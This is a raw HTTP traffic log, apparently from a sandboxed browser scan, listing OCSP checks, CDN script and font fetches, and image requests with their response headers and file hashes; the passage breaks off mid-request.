accept-ranges: bytes
date: Wed, 28 Sep 2022 22:11:09 GMT
x-served-by: cache-bma1667-BMA
x-cache: MISS
x-cache-hits: 0
x-timer: S1664403070.617586,VS0,VE142
vary: x-fh-requested-host, accept-encoding
alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
content-length: 81839
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (65536), with no line terminators
Size:   81839
Md5:    3339cc545e5041dc323f646a93b2040b
Sha1:   13ad11e688d11807783f1440d697aa3742e066c5
Sha256: b51d5a91b1d880e6a42204f96ba5f4228a37af06a01689b9279bcbbe1c2424a0
                                        
                                            POST /s/gts1d4int/7ZBQLSBvJ5A HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Wed, 28 Sep 2022 22:11:09 GMT
Cache-Control: public, max-age=14400
Server: scaffolding on HTTPServer2
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "6449BF062DBB79683071F367CA142C175EF304485CB4D3711FEB4763146E4FA7"
Last-Modified: Wed, 28 Sep 2022 10:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=7488
Expires: Thu, 29 Sep 2022 00:15:58 GMT
Date: Wed, 28 Sep 2022 22:11:10 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "6449BF062DBB79683071F367CA142C175EF304485CB4D3711FEB4763146E4FA7"
Last-Modified: Wed, 28 Sep 2022 10:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=7488
Expires: Thu, 29 Sep 2022 00:15:58 GMT
Date: Wed, 28 Sep 2022 22:11:10 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "6449BF062DBB79683071F367CA142C175EF304485CB4D3711FEB4763146E4FA7"
Last-Modified: Wed, 28 Sep 2022 10:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=7488
Expires: Thu, 29 Sep 2022 00:15:58 GMT
Date: Wed, 28 Sep 2022 22:11:10 GMT
Connection: keep-alive

                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F63a7aeb3-999a-4e57-9255-c40e0376d08e.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 5319
x-amzn-requestid: d4c13fa8-eb03-4abf-9516-b74eac712b87
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZFkreHL5IAMFcOw=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63321b16-487923453bd27d6a744b5a31;Sampled=0
x-amzn-remapped-date: Mon, 26 Sep 2022 21:35:18 GMT
x-amz-cf-pop: SEA73-P1
x-cache: Miss from cloudfront
x-amz-cf-id: gGfaq_dx7NIHH43-iNn0Ah61HRLT8H3NxPGVoDvkKgBgy8zJWYwRuw==
via: 1.1 4dde8ec6d6c12741888c2d3a059d4a2e.cloudfront.net (CloudFront), 1.1 73cb83fe6699afc2791b5c690c1ff8c6.cloudfront.net (CloudFront), 1.1 google
date: Wed, 28 Sep 2022 21:32:15 GMT
age: 2335
etag: "75df3341e30281fcbf78c7074980356fdf0be8e2"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   5319
Md5:    46e31aa06b8e86a9a5f9ba1cc3feca08
Sha1:   75df3341e30281fcbf78c7074980356fdf0be8e2
Sha256: d1fd4f81b7e0f43de960f0ee024d9e87bcb395f032a4ab0360e3829d1ec8a42b
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F0369629e-f44d-439f-a279-b5ae6ecc0cf1.png HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 14464
x-amzn-requestid: 5cbbafdb-3f69-4ee2-9e46-c1ff0ed4ef14
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZI3UPFiooAMFulA=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63336c1a-633a649700e040b91deadb64;Sampled=0
x-amzn-remapped-date: Tue, 27 Sep 2022 21:33:14 GMT
x-amz-cf-pop: SEA73-P1
x-cache: Miss from cloudfront
x-amz-cf-id: cNryG5vkxZuFATZfcNW9Z1-0teUBWLRyWslX1onwYlDCQBUjU2xVdA==
via: 1.1 9b311162717b41c968f6f00426d88aaa.cloudfront.net (CloudFront), 1.1 73cb83fe6699afc2791b5c690c1ff8c6.cloudfront.net (CloudFront), 1.1 google
date: Wed, 28 Sep 2022 21:46:03 GMT
age: 1507
etag: "bc214d60be395d4cf753216ff8f9691c33d25e75"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   14464
Md5:    aa5cad224dbddd71881bd07255beb4da
Sha1:   bc214d60be395d4cf753216ff8f9691c33d25e75
Sha256: 82935e52aa59929a448d17a5a2d58fda86bb5c25bf6628a05bd904f82517dada
                                        
                                            GET /axios@0.16.1/dist/axios.min.js HTTP/1.1 
Host: unpkg.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://late-rice-0fc8.regan21.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         104.16.122.175
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Wed, 28 Sep 2022 22:11:10 GMT
access-control-allow-origin: *
cache-control: public, max-age=31536000
last-modified: Sat, 08 Apr 2017 18:51:20 GMT
etag: W/"879a-StlLhYX39Pj2Qvz0O98NQPjvG9U"
via: 1.1 fly.io
fly-request-id: 01GCXQ4KZY3MG4G06QSG06661H-ams
cf-cache-status: HIT
age: 1253377
vary: Accept-Encoding
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-content-type-options: nosniff
server: cloudflare
cf-ray: 751fd0337ca1b521-OSL
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (31694)
Size:   24558
Md5:    48ac51efa89da8b5ba4a62df1a3db8a5
Sha1:   fc299063a11410864a90444fcf7e0f0499b8c834
Sha256: 8f447482eeed5c6c3286b6505ee2b7e8a9d71697d8fd83fbc4f8302a731d477b
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F8ffa6dde-b51e-43f8-bfcb-3f442d674928.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 8500
x-amzn-requestid: af82c8d6-950c-4933-87e3-7bbb15cb1ac8
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZI3e3HOaoAMFoPQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63336c5e-77e0ecc522de575e40f429b3;Sampled=0
x-amzn-remapped-date: Tue, 27 Sep 2022 21:34:22 GMT
x-amz-cf-pop: SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: dDVrHwnFZInXstW18yCpusMMPMeQadctvPXKko-sSp_b9_4yyhxvKw==
via: 1.1 5ab5dc09da67e3ea794ec8a82992cc88.cloudfront.net (CloudFront), 1.1 591683988172c7980c4ebb318cbf18a8.cloudfront.net (CloudFront), 1.1 google
date: Wed, 28 Sep 2022 21:49:09 GMT
age: 1321
etag: "9c4692ea64832895fbd107d91f879728b6a440c7"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   8500
Md5:    6139c878a7d2bd32c61fc8287996eb5b
Sha1:   9c4692ea64832895fbd107d91f879728b6a440c7
Sha256: 3839df92f0a10c1433d5b576df50c9f7953912ae4f425012262f08ee8a59ce2e
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fb9a3b058-92c9-490e-9cbb-736f7e46510d.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 7455
x-amzn-requestid: e99c9f33-b72a-4070-80cf-06fb4a87d1df
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZG4S6EcAoAMFX1A=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6332a0df-04122b4a345dbc3f3918af98;Sampled=0
x-amzn-remapped-date: Tue, 27 Sep 2022 07:06:07 GMT
x-amz-cf-pop: HIO50-C1, SEA73-P1
x-cache: Hit from cloudfront
x-amz-cf-id: yprErfM7s7P7jJPJT-HQZ2Z_AAN4946Tjwyn1g4r7yiA6IF0yLdQTQ==
via: 1.1 eece508272520f70691e4eebdc5a6dea.cloudfront.net (CloudFront), 1.1 1508efc4152aa1778ed4adecb328b374.cloudfront.net (CloudFront), 1.1 google
date: Wed, 28 Sep 2022 05:22:11 GMT
age: 60539
etag: "b383135e2ebc23fe80eb0d594b198cb8c89327a5"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   7455
Md5:    ea3890e460356d6ecc3ba4e405ac2e9e
Sha1:   b383135e2ebc23fe80eb0d594b198cb8c89327a5
Sha256: 8fcff053ce6e5750136bf876bad5b2916935f13ea039912d977928b086f0a48b
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fad593ee0-d404-46e3-b129-229e09b263b0.png HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 12016
x-amzn-requestid: ec1b3715-5d0f-4045-aa5b-b70a55c81d72
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZI3e3EtyIAMFdZg=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63336c5e-201dd1ef1426a09965c68dab;Sampled=0
x-amzn-remapped-date: Tue, 27 Sep 2022 21:34:22 GMT
x-amz-cf-pop: SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: pR4b1-lZZRMnWf-PdXFGXaHBCGAfOyp3AjeuCvtu5imWmf9N9l2wKQ==
via: 1.1 41e349e25dc4bc856d0e5d2c162428a0.cloudfront.net (CloudFront), 1.1 be082a2326b7d49643607b097f1e7180.cloudfront.net (CloudFront), 1.1 google
date: Wed, 28 Sep 2022 21:48:39 GMT
age: 1351
etag: "a54803cca7d3c509c195f65961e1110c8ec56f55"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   12016
Md5:    4b794c6812cb546de0295e087ebe66a7
Sha1:   a54803cca7d3c509c195f65961e1110c8ec56f55
Sha256: 6a207f75eb3951f3dea5252bc8d185cd604d3d657f15b838774e8087e91f37f5
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5127
Cache-Control: 'max-age=158059'
Date: Wed, 28 Sep 2022 22:11:10 GMT
Last-Modified: Wed, 28 Sep 2022 20:45:43 GMT
Server: ECS (ska/F714)
X-Cache: HIT
Content-Length: 280

                                        
                                            GET /ajax/libs/vuex/2.3.1/vuex.min.js HTTP/1.1 
Host: cdnjs.cloudflare.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://late-rice-0fc8.regan21.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         104.17.24.14
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Wed, 28 Sep 2022 22:11:10 GMT
content-length: 3106
access-control-allow-origin: *
cache-control: public, max-age=30672000
content-encoding: br
etag: "5eb0402f-290d"
last-modified: Mon, 04 May 2020 16:17:51 GMT
cf-cdnjs-via: cfworker/kv
cross-origin-resource-policy: cross-origin
timing-allow-origin: *
x-content-type-options: nosniff
expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
vary: Accept-Encoding
cf-cache-status: HIT
age: 4333104
expires: Mon, 18 Sep 2023 22:11:10 GMT
accept-ranges: bytes
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hEqhXVzwB2UgEjbrTXo5iMl09V8fDKYzGG%2F3pchSetA3NFO4jBMtLq9Hgjqxny%2BwZznmjPNEfp3b7ke%2FI2JXyjWUq7%2F2VthQBEEILoHlTz8q5yLdUMm2VwmcICqOjFgx0vBWS2H7"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
strict-transport-security: max-age=15780000
server: cloudflare
cf-ray: 751fd034fb15b527-OSL
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (10449)
Size:   3106
Md5:    ccf6162a2b5bf311034fabce697e7dcc
Sha1:   30a7845c6e08982d9669189ce73e912f3775c903
Sha256: edab71b138184c8031ad05e527d4c3e8a5de05b8c3c22068c487cf4eae0ee1d5
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5127
Cache-Control: 'max-age=158059'
Date: Wed, 28 Sep 2022 22:11:10 GMT
Last-Modified: Wed, 28 Sep 2022 20:45:43 GMT
Server: ECS (ska/F714)
X-Cache: HIT
Content-Length: 280

                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Wed, 28 Sep 2022 22:11:10 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /ajax/libs/jquery/3.2.1/jquery.min.js HTTP/1.1 
Host: ajax.googleapis.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://late-rice-0fc8.regan21.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         142.250.74.42
HTTP/2 200 OK
content-type: text/javascript; charset=UTF-8
                                        
accept-ranges: bytes
vary: Accept-Encoding
content-encoding: gzip
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="hosted-libraries-pushers"
report-to: {"group":"hosted-libraries-pushers","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/hosted-libraries-pushers"}]}
timing-allow-origin: *
content-length: 30306
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Sun, 25 Sep 2022 14:47:34 GMT
expires: Mon, 25 Sep 2023 14:47:34 GMT
cache-control: public, max-age=31536000, stale-while-revalidate=2592000
last-modified: Tue, 03 Mar 2020 19:15:00 GMT
age: 285816
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (32058)
Size:   30306
Md5:    fc3fc31e5e7c0933dc18e562c1c071bf
Sha1:   a44c31323f6bd29e583cc585036e6eb39f7014a6
Sha256: ddad766fb94b23efeb5574cdedc5e8446d496fb91bd0b08cd80be212e001055d
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Wed, 28 Sep 2022 22:11:10 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Wed, 28 Sep 2022 22:11:11 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /s/roboto/v16/CWB0XYA8bzo0kSThX0UTuA.woff2 HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: https://late-rice-0fc8.regan21.workers.dev
Connection: keep-alive
Referer: https://fiekcndtitikaps.web.app/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         142.250.74.163
HTTP/2 200 OK
content-type: font/woff2
                                        
accept-ranges: bytes
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="apps-themes"
report-to: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
timing-allow-origin: *
content-length: 14600
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Thu, 22 Sep 2022 17:07:38 GMT
expires: Fri, 22 Sep 2023 17:07:38 GMT
cache-control: public, max-age=31536000
age: 536613
last-modified: Mon, 17 Apr 2017 21:22:19 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 14600, version 1.0\012- data
Size:   14600
Md5:    a2647ffe169bbbd94a3238020354c732
Sha1:   0a59a3b17c93c1093c2514b3a9d51c91395aabd0
Sha256: db44c6b7985f942465865cfe688770803ab464ec35fb9aefaeccc052e9b74b2a
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Wed, 28 Sep 2022 22:11:11 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Wed, 28 Sep 2022 22:11:11 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /s/roboto/v16/2tsd397wLxj96qwHyNIkxPesZW2xOQ-xsNqO47m55DA.woff2 HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: https://late-rice-0fc8.regan21.workers.dev
Connection: keep-alive
Referer: https://fiekcndtitikaps.web.app/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         142.250.74.163
HTTP/2 200 OK
content-type: font/woff2
                                        
accept-ranges: bytes
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="apps-themes"
report-to: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
timing-allow-origin: *
content-length: 14660
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Sat, 24 Sep 2022 09:27:04 GMT
expires: Sun, 24 Sep 2023 09:27:04 GMT
cache-control: public, max-age=31536000
age: 391447
last-modified: Mon, 17 Apr 2017 21:21:35 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 14660, version 1.0\012- data
Size:   14660
Md5:    01dbb814469dc501bd70cf9f13e0b880
Sha1:   df15e8d1a048e1f36a9d9cc5d7a071145328f3fe
Sha256: ef95737fc74e46497e2c96064c327db02ac19acae21f303b7aa2dc3cf46ed84a
                                        
                                            GET /s/roboto/v16/d-6IYplOFocCacKzxwXSOFtXRa8TVwTICgirnJhmVJw.woff2 HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
